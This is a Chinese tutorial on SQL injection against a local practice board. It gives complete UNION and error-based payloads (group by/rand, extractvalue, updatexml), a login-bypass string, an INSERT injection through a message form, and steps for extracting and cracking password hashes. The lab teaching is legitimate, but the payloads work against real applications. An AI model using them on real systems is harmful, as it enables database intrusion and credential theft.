SQL 注入之报错型注入

SQL 注入之报错型注入

SQL 注入之报错型注入漏洞 — 当页面不说话,就让错误来开口

上节课我们用 Union 联合查询把数据库翻了个底朝天。但问题来了——如果 Union 用不了怎么办?页面没有回显位置、字段数不匹配、单引号被过滤……别慌,这节课教你报错型注入,让 MySQL 的错误信息变成你的情报员。


课程概览

1. Union 注入系统性复习与实操 2. order by 探列数 + union select 定回显位 3. 数据库名 → 表名 → 字段名 → 数据(七步走) 4. 报错型注入入门:什么时候用? 5. 三大报错注入技法:group by / extractvalue / updatexml 6. 报错型注入实战:INSERT 留言注入 7. 作业

附:环境准备

Python 验证码识别环境

python-V# 查看 Python 版本,建议 3.6+ 即可

推荐资料:

  • xp CAPTCHA 识别:https://github.com/smxiazi/NEW_xp_CAPTCHA/releases/tag/4.3
  • xp 验证码部署教程:https://www.cnblogs.com/xinghaihe/p/18415544

上节课快速回顾

万能密码注入 — 两种公式

公式 1:攻用户名

URL: http://localhost/wz/login.php?user=a' or '1' ='1&pass=123456 输入框: 用户名 = a' or '1' ='1 密码 = 123456

实际 SQL:

SELECT*FROMuserWHEREusername='a'or'1'='1'ANDpassword='123456'-- ↑ 永远为真,条件被绕过

公式 2:攻密码

URL: http://localhost/wz/login.php?user=a&pass='or'1'='1 输入框: 用户名 = a 密码 = ' or '1' ='1

实际 SQL:

SELECT*FROMuserWHEREusername='a'ANDpassword=''or'1'='1'-- 假 AND 假 OR 真 = 真,再次绕过

零、靶场环境

本节课需要新靶场:

组件说明
MySQL数据库服务
PhpStudy集成 Web 环境
bbs留言板靶场系统
jrlt.sql需要导入的数据库文件

⚠️ 注意:需要先导入jrlt.sql数据库,才能正常使用 bbs 靶场。


一、Union 注入系统性复习

1.1 概念

Union 查询注入是最基础的 SQL 注入技术。利用UNION关键字,可以将额外的 SELECT 查询结果「纵向」拼接到原始查询结果中

简单说:本来页面只返回新闻列表,你用 UNION 让它同时返回用户密码——页面不觉得有什么不对,但数据已经泄露了。

1.2 适用条件

Union 注入不是万能的,需要同时满足两个条件才生效:

条件说明
✅ 条件一页面存在注入点,且有回显(页面上能显示数据)
✅ 条件二Union 前后两个 SELECT 的列数相同,对应列的数据类型兼容

两样缺一不可。缺了任何一条,就轮到报错型注入登场了。

1.3 注入六步走

Step 1: 判断是否存在注入点及注入类型 Step 2: 用 ORDER BY 探测列数 Step 3: 用 UNION SELECT 判断回显位置 Step 4: 获取数据库名 Step 5: 获取所有表名 Step 6: 获取表中的数据

二、Union 注入实操:bbs 靶场

靶场初始化

  1. 用火狐渗透版浏览器打开:http://localhost/bbs/index.php
  2. 注册账号(derry1/123456
  3. 登录后去留言两条数据
  4. 访问:http://localhost/bbs/showmessage.php?id=1

2.1 判断是否有注入点

http://localhost/bbs/showmessage.php?id=1# 正常显示 id=1 的留言http://localhost/bbs/showmessage.php?id=2# 正常显示 id=2 的留言http://localhost/bbs/showmessage.php?id=# 输入乱字符,页面报错!

判断依据:更换id参数值能查询到不同数据 + 输入乱字符报错 →确认存在注入点。

底层实际执行的 SQL 大概是:

SELECT*FROMmessagesWHEREid=你输入的参数

2.2 用 ORDER BY 探测列数

ORDER BY n按第 n 列排序。如果 n 超出了实际列数,数据库就会报错。这个报错正好告诉我们有几列

# 从 1 开始递增尝试http://localhost/bbs/showmessage.php?id=1order by1# 正常http://localhost/bbs/showmessage.php?id=1order by2# 正常http://localhost/bbs/showmessage.php?id=1order by3# 正常http://localhost/bbs/showmessage.php?id=1order by4# 正常http://localhost/bbs/showmessage.php?id=1order by5# 报错!

结论:order by 4 正常、order by 5 报错 → 当前查询共有4 个字段

底层 SQL:

SELECT*FROMmessagesWHEREid=1ORDERBY5-- ↑ 第 5 列不存在,报错!

2.3 判断回显位置

现在我们知道有 4 列,用UNION SELECT 1,2,3,4看看哪几列的数据会显示在网页上。

http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,3,4

关键技巧:id=-1让原查询返回空,这样 UNION 后面的数据就不会被原数据遮挡。

结果分析:如果页面显示了2、3、4,说明这三个位置可以用来放我们的注入语句。

底层 SQL:

SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,3,4-- ↑ 不存在的 id,原查询返回空-- ↑ 1,2,3,4 填入 4 个字段位置

2.4 获取数据库名

第一步:获取当前数据库名
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),database()

version()返回 MySQL 版本,database()返回当前使用的数据库名。

结果:jrlt→ 这就是当前数据库!

底层 SQL:

SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,version(),database()
第二步:获取所有数据库名
http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),(select group_concat(schema_name)from information_schema.schemata)

或者等价写法:

http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),group_concat(schema_name)from information_schema.schemata

不仅能看到jrlt,还能看到 MySQL 系统自带的其他数据库。


2.5 获取数据库中的所有表

http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,version(),group_concat(table_name)from information_schema.tables wheretable_schema='jrlt'

注入点对应的 SQL:

-1unionselect1,2,version(),group_concat(table_name)frominformation_schema.tableswheretable_schema='jrlt'

2.6 获取表中所有字段名

http://localhost/bbs/showmessage.php?id=-1 unionselect1,2,3,group_concat(column_name)from information_schema.columns wheretable_name='users'andtable_schema='jrlt'

底层 SQL:

SELECT*FROMmessagesWHEREid=-1UNIONSELECT1,2,3,group_concat(column_name)FROMinformation_schema.columnsWHEREtable_name='users'ANDtable_schema='jrlt'

2.7 获取最终数据 — 用户名和密码

http://localhost/bbs/showmessage.php?id=-5 unionselect1,2,3,concat(name,':',password)fromuserslimit0,1

注入点 SQL:

-5unionselect1,2,3,concat(name,':',password)fromuserslimit0,1

concat(name, ':', password)把用户名和密码拼成admin:21232f297a57a5a743894a0e4a801fc3这样一行字符串。

结果:21232f297a57a5a743894a0e4a801fc3—— 这是 MD5 加密的密码。

MD5 在线解密:https://cmd5.com/ (解密后是admin


三、Union 注入小结

步骤目的关键关键词
第 1 步判断注入点输入'或乱字符观察报错
第 2 步探测列数ORDER BY n,从 1 递增到报错
第 3 步定位回显位UNION SELECT 1,2,3,…
第 4 步获取数据库名database()
第 5 步获取表名information_schema.tables+group_concat(table_name)
第 6 步获取字段名information_schema.columns+group_concat(column_name)
第 7 步获取数据concat()+limit

四、报错型注入系列

4.1 为什么需要报错型注入?

Union 注入虽然好用,但它有硬性条件:页面必须有回显。现实中有大量场景 Union 用不了:

  • 页面不直接显示查询结果(比如只显示「操作成功」)
  • Union 前后列数对不上
  • 没有合适的回显位置
  • 单引号被转义或过滤

这时候怎么办?答案就是:报错型注入

报错型注入的核心思路:

故意制造一个数据库错误 → 把想要的数据放在错误信息里 → 页面输出错误 → 数据到手

相当于你问数据库一个问题,数据库说不出来,但生气地把答案写在了脸上。

4.2 报错型注入的适用条件

  • ✅ 数据库存在注入点
  • ✅ 数据库会输出详细的错误信息到页面
  • ✅ Union 注入条件不满足时优先使用
  • ⚠️ 成功率和时间成本高于 Union 注入

4.3 技法一:group by 重复键冲突

利用count()+floor()+rand()+group by这几个函数组合产生键冲突报错,在报错信息中带出数据。

完整 Payload
http://localhost/bbs/showmessage.php?id=1and(select1from(select count(*),concat(0x5e,(select version()from information_schema.tables limit0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a)

输入此 payload,页面报错并显示 MySQL 版本号。

原理拆解
SELECT1FROM(SELECTcount(*),concat(0x5e,(SELECTversion()FROMinformation_schema.tablesLIMIT0,1),0x5e,floor(rand(0)*2))xFROMinformation_schema.tablesGROUPBYx)a
组成部分说明
SELECT 1保证外层的语法正确,返回 1 为 true
FROM (…) a子查询,a是别名
count(*)统计分组后的记录数
GROUP BY x按字段x的值分组
concat(0x5e, 查询内容, 0x5e, floor(rand(0)*2))核心:拼接查询内容
0x5e^字符的十六进制,充当分隔符
floor(rand(0)*2)固定随机数,每次返回 0 或 1

为什么会报错?

rand(0)生成固定序列的随机数。在GROUP BY分组过程中,MySQL 需要创建临时表来存放分组结果。插入临时表时rand(0)会再次执行,产生与之前不同的值,导致主键冲突。这个冲突引发的报错中,恰好携带了concat()拼接的查询结果。

一句话总结:不用死记,拿来就用,改中间的查询语句即可。


4.4 技法二:extractvalue XPath 报错型注入

extractvalue()是 MySQL 处理 XML 的函数,当给它传递非法的 XPath 表达式时,会报错并把错误内容显示出来。

语法
extractvalue(1,concat(0x5c,(SELECT查询内容),0x5c))
实际注入
# 获取版本号http://localhost/bbs/showmessage.php?id=1and extractvalue(1, concat(0x5c,(select version()),0x5c))# 获取数据库名http://localhost/bbs/showmessage.php?id=1and extractvalue(1, concat(0x5c,(select database()),0x5c))

注入点 SQL:

id=1andextractvalue(1,concat(0x5c,(selectversion()),0x5c))id=1andextractvalue(1,concat(0x5c,(selectdatabase()),0x5c))

底层完整 SQL:

SELECT*FROMmessagesWHEREid=1ANDextractvalue(1,concat(0x5c,(SELECTdatabase()),0x5c))

0x5c是反斜杠\的十六进制,故意制造非法 XPath 使报错触发。


4.5 技法三:updatexml 报错型注入

updatexml()extractvalue()原理类似,也是利用 MySQL 的 XML 函数制造非法参数触发报错。

语法
updatexml(1,concat(0x5e,(SELECT查询内容),0x5e),1)
实际注入
# 获取版本号http://localhost/bbs/showmessage.php?id=1and updatexml(1,concat(0x5e,(select version()),0x5e),1)# 获取数据库名http://localhost/bbs/showmessage.php?id=1and updatexml(1,concat(0x5e,(select database()),0x5e),1)

底层 SQL:

SELECT*FROMmessagesWHEREid=1ANDupdatexml(1,concat(0x5e,(SELECTversion()),0x5e),1)

三种技法的对比

技法难度稳定性推荐场景
group by + floor + rand研究原理时用
extractvalue日常首选
updatexmlextractvalue 被禁时用

实用建议:先试 extractvalue,不行换 updatexml。group by 那套太复杂,一般作为兜底方案。


五、报错型注入实战:INSERT 留言注入

场景分析

bbs 靶场除了showmessage.php这种 SELECT 注入,还有一个重要入口:留言功能

http://localhost/bbs/addMessage.php

这是一个INSERT 语句的注入,攻击位置不是 GET 参数,而是留言框。

源码中的 SQL:

INSERTINTO`messages`(`uname`,`title`,`content`)VALUES('".$userName."','".$title."','".$content."')

用户输入的内容$content会直接拼接到VALUES中。这不就是天然的注入点吗?


第一步:思路探索 — 构造注入闭合

攻击语句需要放在 VALUES 的字符串中间,所以要这样闭合:

INSERTINTO`messages`(`uname`,`title`,`content`)VALUES('','',''or'攻击语句'or'')

在留言内容框中输入(闭合的模板):

' or '攻击语句' or '

中间的'攻击语句'替换成实际注入代码即可。

一个简单的测试:

-- 在留言框输入:' or 'a' or 'b' or 'c' or '-- 拼接后变成:INSERTINTOmessages(...)VALUES('','',''or'a'or'b'or'c'or'')-- 中间全是 OR,永远为真 → 正常插入留言

第二步:用 group by 冲突获取数据库名

在留言内容框中输入:

' or (select 1 from (select count(*),concat(0x5e,(select database() from information_schema.tables limit 0,1),0x5e,floor(rand(0)*2))x from information_schema.tables group by x)a) or '

拼接后的完整 SQL:

INSERTINTOmessages(`uname`,`title`,`content`)VALUES('','',''or(select1from(selectcount(*),concat(0x5e,(selectdatabase()frominformation_schema.tableslimit0,1),0x5e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)or'')

页面报错并显示出数据库名!


第三步:用 extractvalue 获取表名

在留言内容框中输入:

' or extractvalue(1, concat(0x5c, (select group_concat(table_name) from information_schema.tables where table_schema='jrlt'),0x5c)) or '

拼接后:

INSERTINTOmessages(...)VALUES('','',''orextractvalue(1,concat(0x5c,(selectgroup_concat(table_name)frominformation_schema.tableswheretable_schema='jrlt'),0x5c))or'')

报错信息中列出了jrlt数据库的所有表!


第四步:用 updatexml 获取字段名

在留言内容框中输入:

' or updatexml(1,concat(0x5e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='jrlt'),0x5e),1) or '

拼接后:

INSERTINTOmessages(...)VALUES('','',''orupdatexml(1,concat(0x5e,(selectgroup_concat(column_name)frominformation_schema.columnswheretable_name='users'andtable_schema='jrlt'),0x5e),1)or'')

报错信息中列出了users表的所有字段名!


第五步:获取用户名密码 — updatexml 的 32 字符限制

在留言内容框中输入:

' or updatexml(1,concat(0x5e,(select concat(name,':',password) from users limit 0,1),0x5e),1) or '

结果只显示了e10adc3949ba59abbe56e057,但完整的 MD5 是 32 位字符!

原因:updatexml()最多只返回32 个字符。对于长字符串(比如 MD5 密码),需要分批截取。

解决方案 — 用 substring 分批获取:

-- 第一批:前 16 位' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,1,16)) from users limit 0,1),0x5e),1) or '-- 结果:e10adc3949ba59ab-- 第二批:第 17 位起' or updatexml(1,concat(0x5e,(select concat(name,':',substring(password,17)) from users limit 0,1),0x5e),1) or '-- 结果:be56e057f20f883e

拼接在一起:e10adc3949ba59ab+be56e057f20f883e=e10adc3949ba59abbe56e057f20f883e

去在线 MD5 解密站 https://www.sojson.com/encrypt_md5.html 解密 → 得到明文密码:123456


六、完整注入流程对比

环节Union 注入报错型注入
前提页面有回显 + Union 列数匹配数据库输出报错信息
数据库名union select database()直接显示extractvalue(1,concat(0x5c,(select database()),0x5c))报错输出
表名union select group_concat(table_name)显示同上,替换中间的 SQL
字段名union select group_concat(column_name)显示同上,替换中间的 SQL
数据union select concat(name,':',password)显示同上,注意updatexml32 字符上限

七、课后作业

  1. Union 注入篇:写出自己理解的 Union 概念、使用条件、注入步骤
  2. 报错型注入:什么场景下才使用报错型注入?
  3. 实战:使用报错型注入获取 本地靶场的最终数据集(用户名+密码)

写在最后:从 Union 注入到报错型注入,本质上是同一个道理——让数据库执行你精心构造的 SQL。区别只在于展示方式:一个有回显就光明正大地显示,另一个没有回显就借错误信息偷偷带出来。下一节课我们继续深入,敬请期待!